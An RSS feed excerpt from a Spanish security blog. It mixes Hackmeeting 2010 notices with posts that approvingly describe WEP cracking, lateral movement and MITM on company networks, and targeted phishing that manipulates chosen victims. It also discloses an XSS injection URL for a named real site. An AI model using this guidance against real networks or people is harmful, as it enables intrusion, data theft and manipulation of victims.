			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Festeganografia-ofuscacion-de-archivos-parte-2%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-2/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-2/"  data-text="Esteganografía: Ofuscación de archivos (parte 2)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/esteganografia-ofuscacion-de-archivos-parte-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Lo que fue el Hackmeeting 2010 en Bolivia</title>
		<link>http://blog.zerial.org/seguridad/lo-que-fue-el-hackmeeting-2010-en-bolivia/</link>
		<comments>http://blog.zerial.org/seguridad/lo-que-fue-el-hackmeeting-2010-en-bolivia/#comments</comments>
		<pubDate>Mon, 25 Oct 2010 16:08:42 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bolivia]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hackmeeting]]></category>
		<category><![CDATA[hackmeeting 2010]]></category>
		<category><![CDATA[hm]]></category>
		<category><![CDATA[hm2010]]></category>
		<category><![CDATA[la paz]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1918</guid>
		<description><![CDATA[En el hackmeeting realizado en La Paz, Bolivia, se exhibieron distintos temas relacionados a la seguridad informatica/hacking y electrónica. Se realizaron conferencias, debates/mesas redondas y tambien otro tipo de actividades denominadas &#8220;hacktividades&#8221;, donde nos reuniamos a participar intentando vulnerar sistemas o simplemente discutiendo y aportando todos de forma colaborativa sobre un tema en especifico. Se [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2010/10/hm_bo.png"><img class="aligncenter size-full wp-image-1919" title="hm_bo" src="http://blog.zerial.org/wp-content/uploads/2010/10/hm_bo.png" alt="" width="410" height="325" /></a></p>
<p>En el hackmeeting realizado en La Paz, Bolivia, se exhibieron distintos temas relacionados a la seguridad informatica/hacking y electrónica. Se realizaron conferencias, debates/mesas redondas y tambien otro tipo de actividades denominadas &#8220;hacktividades&#8221;, donde nos reuniamos a participar intentando vulnerar sistemas o simplemente discutiendo y aportando todos de forma colaborativa sobre un tema en especifico.</p>
<p>Se realizaron charlas relacionadas a Spoofing, redes Mesh, Ofuscación de archivos, Micro controladores, entre otros. Se discutieron temas relacionados a la seguridad informática, las leyes y la poca preocupación por el gobierno en estos temas. Hacktividades tales como un concurso de programación y &#8220;intrusion and defacing&#8221; en sitios bolivianos.</p>
<p>Todas las charlas fueron grabadas y en cuanto pueda las subiré para que puedan descargarlas.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flo-que-fue-el-hackmeeting-2010-en-bolivia%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/lo-que-fue-el-hackmeeting-2010-en-bolivia/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/lo-que-fue-el-hackmeeting-2010-en-bolivia/"  data-text="Lo que fue el Hackmeeting 2010 en Bolivia" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/lo-que-fue-el-hackmeeting-2010-en-bolivia/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8220;Hacking automatizado&#8221; y &#8220;Ofuscación de archivos&#8221; en el Hackmeeting 2010</title>
		<link>http://blog.zerial.org/seguridad/hacking-automatizado-y-ofuscacion-de-archivos-en-el-hackmeeting-2010/</link>
		<comments>http://blog.zerial.org/seguridad/hacking-automatizado-y-ofuscacion-de-archivos-en-el-hackmeeting-2010/#comments</comments>
		<pubDate>Thu, 07 Oct 2010 14:35:13 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[charlas]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[hackmeeting]]></category>
		<category><![CDATA[informacion]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1913</guid>
		<description><![CDATA[Haré dos presentaciones en el Hackmeeting de este año, se trata de una charla llamada &#8220;Hacking Automatizado&#8221;, donde busco demostrar y enseñar la automatización de procesos para el &#8220;rescate&#8221; de información en modo de auditorias de seguridad, obtener información desde dentro de los sistemas y servidores, de forma automatizada con script en bash, php, etc. [...]]]></description>
			<content:encoded><![CDATA[<p>Haré dos presentaciones en el <a href="http://hackmeeting.kernelhouse.org">Hackmeeting</a> de este año, se trata de una charla llamada &#8220;Hacking Automatizado&#8221;, donde busco demostrar y enseñar la automatización de procesos para el &#8220;rescate&#8221; de información en modo de auditorias de seguridad, obtener información desde dentro de los sistemas y servidores, de forma automatizada con script en bash, php, etc. La segunda charla es mas bien un mini taller donde enseñaré una tecnica para ofuscar archivos dentro de otros archivos y poder compartirlos en la web sin ser detectados.</p>
<p>Los horarios son los siguientes:<br />
<strong>Sabado 9 de Octubre</strong><br />
- 19:15 hrs: Hacking automatizado<br />
<strong>Domingo 10 de Octubre</strong><br />
- 15:00 hrs: Ofuscación de archivos</p>
<p>Les recuerdo que la entrada es <em>liberada</em>.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fhacking-automatizado-y-ofuscacion-de-archivos-en-el-hackmeeting-2010%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/hacking-automatizado-y-ofuscacion-de-archivos-en-el-hackmeeting-2010/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/hacking-automatizado-y-ofuscacion-de-archivos-en-el-hackmeeting-2010/"  data-text="&#8220;Hacking automatizado&#8221; y &#8220;Ofuscación de archivos&#8221; en el Hackmeeting 2010" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/hacking-automatizado-y-ofuscacion-de-archivos-en-el-hackmeeting-2010/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>hAckedrez: Hackmeeting 2010</title>
		<link>http://blog.zerial.org/seguridad/hackedrez-hackmeeting-2010/</link>
		<comments>http://blog.zerial.org/seguridad/hackedrez-hackmeeting-2010/#comments</comments>
		<pubDate>Mon, 04 Oct 2010 14:08:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hackedrez]]></category>
		<category><![CDATA[hackmeeting]]></category>
		<category><![CDATA[hackmeeting 2010]]></category>
		<category><![CDATA[kernelhouse]]></category>
		<category><![CDATA[tola]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1905</guid>
		<description><![CDATA[El próximo 9 y 10 de Octubre se celebrará en Kernelhouse el hackmeeting correspondiente al año 2010. Habrán charlas, talleres y debates relacionadas con la seguridad informática y libertades. Tweet]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2010/10/flyer.png"><img class="aligncenter size-full wp-image-1906" title="flyer" src="http://blog.zerial.org/wp-content/uploads/2010/10/flyer.png" alt="" width="500" height="359" /></a></p>
<p>El próximo 9 y 10 de Octubre se celebrará en <a href="http://kernelhouse.org">Kernelhouse</a> el <a href="http://hackmeeting.kernelhouse.org">hackmeeting</a> correspondiente al año 2010. Habrán charlas, talleres y debates relacionadas con la seguridad informática y libertades.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fhackedrez-hackmeeting-2010%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/hackedrez-hackmeeting-2010/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/hackedrez-hackmeeting-2010/"  data-text="hAckedrez: Hackmeeting 2010" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/hackedrez-hackmeeting-2010/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>XSS en sitio web de SYM Computación</title>
		<link>http://blog.zerial.org/seguridad/xss-en-sitio-web-de-sym-computacion/</link>
		<comments>http://blog.zerial.org/seguridad/xss-en-sitio-web-de-sym-computacion/#comments</comments>
		<pubDate>Sat, 07 Aug 2010 19:30:48 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1816</guid>
		<description><![CDATA[Hace un par de semanas reporté publicamente la existencia de una vulnerabilidad XSS y posible SQL Injection en el sitio web de SYM, http://www.sym.cl. Recibí una estupida respuesta por parte de una persona que se hace llamar &#8220;MadBox&#8221;, quien decia textualmente: el sitio de sym es vulnerable a todo a proposito y les encuentro razón [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un par de semanas <a href="http://twitter.com/Zerial/status/19272445430">reporté publicamente la existencia de una vulnerabilidad <strong>XSS</strong></a> y <a href="http://twitter.com/Zerial/status/19272536761">posible <strong>SQL Injection</strong></a> en el sitio web de<a href="http://www.sym.cl" target="_blank"> SYM, http://www.sym.cl</a>. Recibí una estupida respuesta por parte de una persona que se hace llamar &#8220;MadBox&#8221;, quien decia <a href="http://twitter.com/MadBox/status/19297334725">textualmente</a>:</p>
<blockquote><p>el sitio de sym es vulnerable a todo a proposito y les encuentro razón mi casa tiene las puertas abiertas pero si robas pagas.</p></blockquote>
<p>En fín &#8230; Unos dias despues, se contacto conmigo Rodolfo Berrios, diseñador y encargado del sitio web, consultandome por las vulnerabilidades encontradas. Cuando intenté reproducir la vulnerabilidad XSS me encontré con la sorpresa de que ya estaba corregida! Sin embargo, no se corrigió del todo, ya que si bien no me dejaba inyectar código JavaScript, si me dejaba inyectar html</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/08/sym_xss.png"><img class="aligncenter size-full wp-image-1826" title="sym_xss" src="http://blog.zerial.org/wp-content/uploads/2010/08/sym_xss.png" alt="" width="568" height="354" /></a></p>
<p><span id="more-1816"></span></p>
<p>Esto pasa al no controlar los parametros pasados por GET, en este caso los parametros de busqueda, un usuario al buscar algo puede escribir codigo html arbitrario.</p>
<p>La URL vulnerable es:</p>
<p><strong>http://www.sym.cl/busqueda/?palabras=%22%3Eb+&lt;aca codigo html&gt;</strong></p>
<p>El problema ya está reportado y se está esperando una solución.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fxss-en-sitio-web-de-sym-computacion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/xss-en-sitio-web-de-sym-computacion/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/xss-en-sitio-web-de-sym-computacion/"  data-text="XSS en sitio web de SYM Computación" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/xss-en-sitio-web-de-sym-computacion/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>El arte del &#8216;phishing&#8217;</title>
		<link>http://blog.zerial.org/seguridad/el-arte-del-phishing/</link>
		<comments>http://blog.zerial.org/seguridad/el-arte-del-phishing/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 23:45:46 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Historias]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[fraudes]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[robos]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1302</guid>
		<description><![CDATA[Sin duda el phishing es una de las técnicas más usadas actualmente para el robo de información y suplantación de identidad, pero debemos reconocer que es todo un arte. Para quienes no saben lo que es el phishing, les extraigo lo siguiente desde la wikipedia: ﻿Phishing es un término informático que denomina un tipo de [...]]]></description>
			<content:encoded><![CDATA[<p>Sin duda el <em>phishing</em> es una de las técnicas más usadas actualmente para el robo de información y suplantación de identidad, pero debemos reconocer que es todo un arte. Para quienes no saben lo que es el phishing, les extraigo lo siguiente desde la wikipedia:</p>
<blockquote><p>﻿<strong>Phishing</strong> es un término <a title="Informático" href="http://es.wikipedia.org/wiki/Inform%C3%A1tico">informático</a> que denomina un tipo de <a title="Delito" href="http://es.wikipedia.org/wiki/Delito">delito</a> encuadrado dentro del ámbito de las <a title="Estafa" href="http://es.wikipedia.org/wiki/Estafa">estafas</a> cibernéticas, y que se comete mediante el uso de un tipo de <a title="Ingeniería social (seguridad informática)" href="http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_%28seguridad_inform%C3%A1tica%29">ingeniería social</a> caracterizado por intentar adquirir información confidencial de forma fraudulenta (como puede ser una <a title="Contraseña" href="http://es.wikipedia.org/wiki/Contrase%C3%B1a">contraseña</a> o información detallada sobre <a title="Tarjeta de crédito" href="http://es.wikipedia.org/wiki/Tarjeta_de_cr%C3%A9dito">tarjetas de crédito</a> u otra información bancaria).</p></blockquote>
<p><a href="http://blog.zerial.org/wp-content/uploads/2009/12/phishing.jpg"><img class="alignleft size-full wp-image-1304" title="phishing" src="http://blog.zerial.org/wp-content/uploads/2009/12/phishing.jpg" alt="" width="265" height="270" /></a>Como dice la definición, son técnicas que se aplican mediante <strong>ingeniería social</strong> y ésta es, por si misma, un arte.<br />
Podemos detectar distintos tipos de phishing, desde uno muy simple como falsificar un sitio y lanzarlo al mundo para que la gente caiga o bien uno más complejo con objetivos determinados y con víctimas específicas. En el primer tipo, me gustaría hacer referencia a todos los conocidos ataques que se han hecho a bancos simplemente falsificando el sitio web y obteniendo información de gente al azar, por ejemplo el <a href="http://blog.segu-info.com.ar/2009/12/mas-phishing-para-mastercard.html" target="_blank">caso en que se vio envuelto Mastercard Argentina</a>. Con el segundo tipo, quiero hacer referencia a casos más trascendentes que generalmente no son conocidos, ya que no afectan a mucha gente sino mas bien a una víctima específica. Para mi, el primer tipo es una <strong>mierda</strong>, sin embargo, me gustaría destacar los ataques del segúndo tipo. De ahora en adelante, los distinguiré según su tipo.</p>
<p><span id="more-1302"></span></p>
<p>Primero, voy a entrar en detalles con el <em>phishing</em> de <strong>primer tipo.</strong> Cualquier persona con mínimos conocimientos en desarrollo puede copiar una página y conseguirse un dominio similar al original para hospedarla y lanzarla al mundo para ver quienes caen, generalmente con estos tipos de ataques no sabes quienes son las personas que caen en tu trampa, simplemente obtienes sus datos para fastidiarles, ingresas a sus cuentas y ver si tiene algo <em>entretenido</em>, no tiene ninguna ciencia. Este tipo de ataques no tienen ningún sentido, no se está aplicando ingeniería social ni mucho menos.<br />
Existe una <strong>gran</strong> diferencia entre dirigir los ataques a una persona o víctima en particular versus el direccionarlo a quien caiga: la dificultad y la emoción.</p>
<p>El <strong>segúndo tipo</strong> es en el que quiero profundizar más. Cuando tenemos una víctima en la mira, es mucho más emocionando hacer éste tipo de ataques, ya que nos costará más y nuestro fín es único, no afectará a otras personas quienes no nos interesa. Para hacer ataques dirigidos, tenemos distintas técnicas, desde ataques locales hasta ataques remotos, podemos hacernos pasar por otra persona, engañando a nuestra víctima para que crea lo que nosotros queremos que crea y así obtener lo que queremos, hasta podemos manipularla. La víctima debe pensar que somos alguien de confianza, que se mueve dentro de su círculo de amigos o conocidos, sabemos mucho de ella y ella <em>cree</em> saber mucho de nosotros. Hacer que la víctima confíe en nosotros toma mucho tiempo, hace que haga lo que nosotros queremos más aún. Se puede lograr desde ataques sicológicos hasta con ataques netamente <em>informáticos</em> pero sin duda lo mejor es una combinación de ambos. Generalmente las víctimas de éste tipo de ataque son conocidos (nosotros lo conocemos, pero muchas veces él a nosotros no) a menos que sea por <a href="http://blog.zerial.org/seguridad/algo-asi-como-un-asesino-a-sueldo/" target="_blank">encargo</a>.<br />
La captura de datos o información se puede lograr falsificando websites, por teléfono, en persona, mediante algun tipo de mensajería instantanea, <em>sniffeando</em> la red, etc. Todo va a depender de nuestra imaginación, conocimiento y capacidades.</p>
<p><img class="alignright size-medium wp-image-1315" title="target" src="http://blog.zerial.org/wp-content/uploads/2009/12/target_poker-240x300.jpg" alt="" width="142" height="178" />Cuando tenemos una víctima elegida, es muy entretenido el proceso en el cual hay que seducirla y mucho más aún, cuando la persona cae en nuestro juego y una véz obtenida la información es mucho más emocionante aún. Luego es el proceso de la verificación de información y posteriormente, una des-seducción de nuestra víctima, es decir, hacer que poco a poco se vaya alejando, pero sin perder el control de la situación y obviamente, sin pretender que nuestro objetivo se de cuenta de lo que planeamos hacer. Lo mejor es confundirlo.<br />
No siempre se logra el objetivo, aveces porque nuestras técnicas han fallado y otras veces porque la persona que elegimos como víctima no es tan fácil de seducir. Hay que saber en qué momento abortar misión, porque los afectados podemos ser nosotros.</p>
<p>Existe un concepto errado de lo que es el phishing, al igual que muchas cosas, la popularidad de los términos terminan deformandose. Para mucha gente éste término es sinónimo de &#8220;<em>robo de cuenta del banco y transferencias de dinero ilícitas</em>&#8220;, que sería la definición <strong>peyorativa</strong>.<br />
Detrás de muchos <strong>hackeos</strong> existen, implícita o explícitamente, técnicas de phishing aplicadas sobre las víctimas, y no podemos desperdiciar todo el <em>proceso pensante</em> y las capacidades del atacante para elaborar un ataque de ésta magnitud.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fel-arte-del-phishing%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/el-arte-del-phishing/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/el-arte-del-phishing/"  data-text="El arte del &#8216;phishing&#8217;" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/el-arte-del-phishing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Atacando desde el corazón</title>
		<link>http://blog.zerial.org/seguridad/atacando-desde-el-corazon/</link>
		<comments>http://blog.zerial.org/seguridad/atacando-desde-el-corazon/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 00:27:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Historias]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1074</guid>
		<description><![CDATA[Hay dos técnicas para atacar un objetivo desde &#8220;el corazón&#8221;, una es ingresando remotamente a alguno de los servidores mediante algún servicio o alguna vulnerabilidad en el sitio web y la segunda, es ingresando directamente a la red de área local o LAN. Existen muchas vulnerabilidades conocidas y comunes que nos permiten ingresar a lugares [...]]]></description>
			<content:encoded><![CDATA[<p>Hay dos técnicas para atacar un objetivo desde &#8220;el corazón&#8221;, una es ingresando remotamente a alguno de los servidores mediante algún servicio o alguna vulnerabilidad en el sitio web y la segunda, es ingresando directamente a la red de área local o LAN. Existen muchas vulnerabilidades conocidas y comunes que nos permiten ingresar a lugares confidenciales de nuestro objetivo, donde podemos rescatar informacion sensible de lo que buscamos como usuarios, accesos a sistemas o servidores, etc.<br />
Para llevar acabo el segundo plan, es necesario conocimientos en seguridad de redes WiFi, ésta técnica es más divertida y práctica que la anterior.</p>
<p>La idea de este post es explicarles, en base a mi experiencia, ambas técnicas. En especial la segunda. Existen muchas empresas que exhiben su red en una señal wifi <span style="text-decoration: line-through;">pública</span> con cifrado WEP y es por esto que quiero dar mayor énfasis a éste tipo de penetración.</p>
<p><span id="more-1074"></span></p>
<p>En el primer caso, tenemos el ingreso al servidor objetivo mediante alguna vulnerabilidad en los sitios o servicios que hospeda nuestra víctima. En este ejemplo, sólo me referiré al servicio http.<br />
El esquema es mas o menos así:</p>
<p><img class="aligncenter size-full wp-image-1082" title="landmz" src="http://blog.zerial.org/wp-content/uploads/2009/11/landmz.png" alt="landmz" width="273" height="121" /></p>
<p>Lo que quiero explicar es muy simple, tenemos ese portatil que seriamos nosotros, los atacantes, y en el recuadro celeste, los servidores conectados en una red de área local (lan) o en una zona desmilitarizada (dmz). La idea es ingresar a ese recuadro celeste sea como sea, aprovechandose de algun servidor mal configurado o sitio que exponga alguna vulnerabilidad y, cuando estemos dentro, empezar a saltar a los otros servidores y ganar acceso poco a poco a toda la red. Una vez que tengamos acceso a uno de los servidores dentro del área celeste, podremos usar herramientas para detectar otras máquinas, por ejemplo el conocido <a href="http://nmap.org" target="_blank">nmap</a>. Con ésta herramienta, podremos escanear segmentos y subsegmentos completos, hacer pings a múltiples direcciones y a distintos servicios y detectar cosas como la mac de cada equipo, servicios que ofrecen, hostname, etc.</p>
<p>Ahora quiero pasar al punto dos, que es lo que más me gusta.</p>
<p><img class="alignleft size-medium wp-image-1078" style="margin: 5px;" title="wiki-cracked" src="http://blog.zerial.org/wp-content/uploads/2009/11/wiki-cracked-300x160.jpg" alt="wiki-cracked" width="210" height="112" />El cifrado <a href="http://es.wikipedia.org/wiki/WEP" target="_blank">WEP</a> es muy vulnerable y muy fácil de <em>crackear</em>, ya sea <a href="http://it.toolbox.com/blogs/unwired/wep-encryption-40-64-104-128-bitwhats-the-difference-12705" target="_blank">64 o 128bits</a>, en un par de minutos es posible obtener la contraseña. Aunque existen métodos de cifrado como <a href="http://es.wikipedia.org/wiki/WPA" target="_blank">WPA</a> que son mucho más seguros y requiere un diccionario para lograr descifrar la contraseña, lo que hace que sea poco probable de hacerlo.<br />
Bueno, teniendo en cuenta todos estos antecedendes resulta increible que aún existan empresas u organismos (inclusive del gobierno) que estén exponiendo su red vía wifi con cifrado WEP. Pero para nosotros, esto es bueno, ya que nos podemos aprovechar ya sea para obtener internet free o para lo que queramos hacer <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Cuando nos logramos conectar a una red wifi de una empresa, la cual está mal configurada y si a ésto, sumamos que el firewall (si es que tienen) está casi configurado por defecto, es todo mucho más fácil. Existen casos en que subsegmentan y dividen la red por departamento o bien aislan los servidores de los pc de escritorio, pero lo hacen solo cambiandoles las direcciones ip, muchas veces ni si quiera crean reglas en el firewall para que estas maquinas no se puedan ver o bien crear una zona desmilitarizada para los servidores. Cuando ésto sucede, nosotros lo único que debemos hacer es camiarnos la IP a una que esté dentro del rango y listo, ya somos parte de &#8220;la red de servidores&#8221;. Para descubrir que rango de IP debemos usar para ir cambiando de departamento o para ingresar a zonas &#8220;privilegiadas&#8221;, podemos utilizar la misma herramienta que propuse en el punto 1: <a href="http://nmap.org" target="_blank">nmap</a>. Tambien podemos utilizar algún sniffer como <a href="http://wireshark.org" target="_blank">wireshark</a> o <a href="http://ettercap.sf.net" target="_blank">ettercap</a> para descubrir información interesante.</p>
<p>Existe el caso donde los servidores no están alojados fisicamente en la misma empresa, pero perfectamente con un poco de ingenio e imaginación podemos obtener la información de acceso a los servidores estándo dentro de la red, filtrando y analizando la informaicón, por ejemplo realizando un ataque MiTM, envenenando la red. Cuando ya formamos parte de la red, es mucho más fácil analizar el tráfico de la red, escanear máquinas e intentar ganar accesos a alguna de ellas y con una red wifi &#8220;protegida&#8221; con WEP no nos deberíamos tardar más de 1 hora en hacerlo.</p>
<p>Cuando empezamos a escanear nos encontramos con varias sorpresas, desktop con windows, servidores ftp, servidores de impresion, routers sin clave, etc. Nos podemos divertir un rato mandando a imprimir algunos mensajes, enviando mensajes dentro de la red de windows (el típico <em>winpopup ó net send</em>). Es muy típico encontrarse accesos a Terminal Servers, directorios compartidos con Samba (incluso computadores enteros compartidos con Samba), etc.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fatacando-desde-el-corazon%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/atacando-desde-el-corazon/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/atacando-desde-el-corazon/"  data-text="Atacando desde el corazón" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
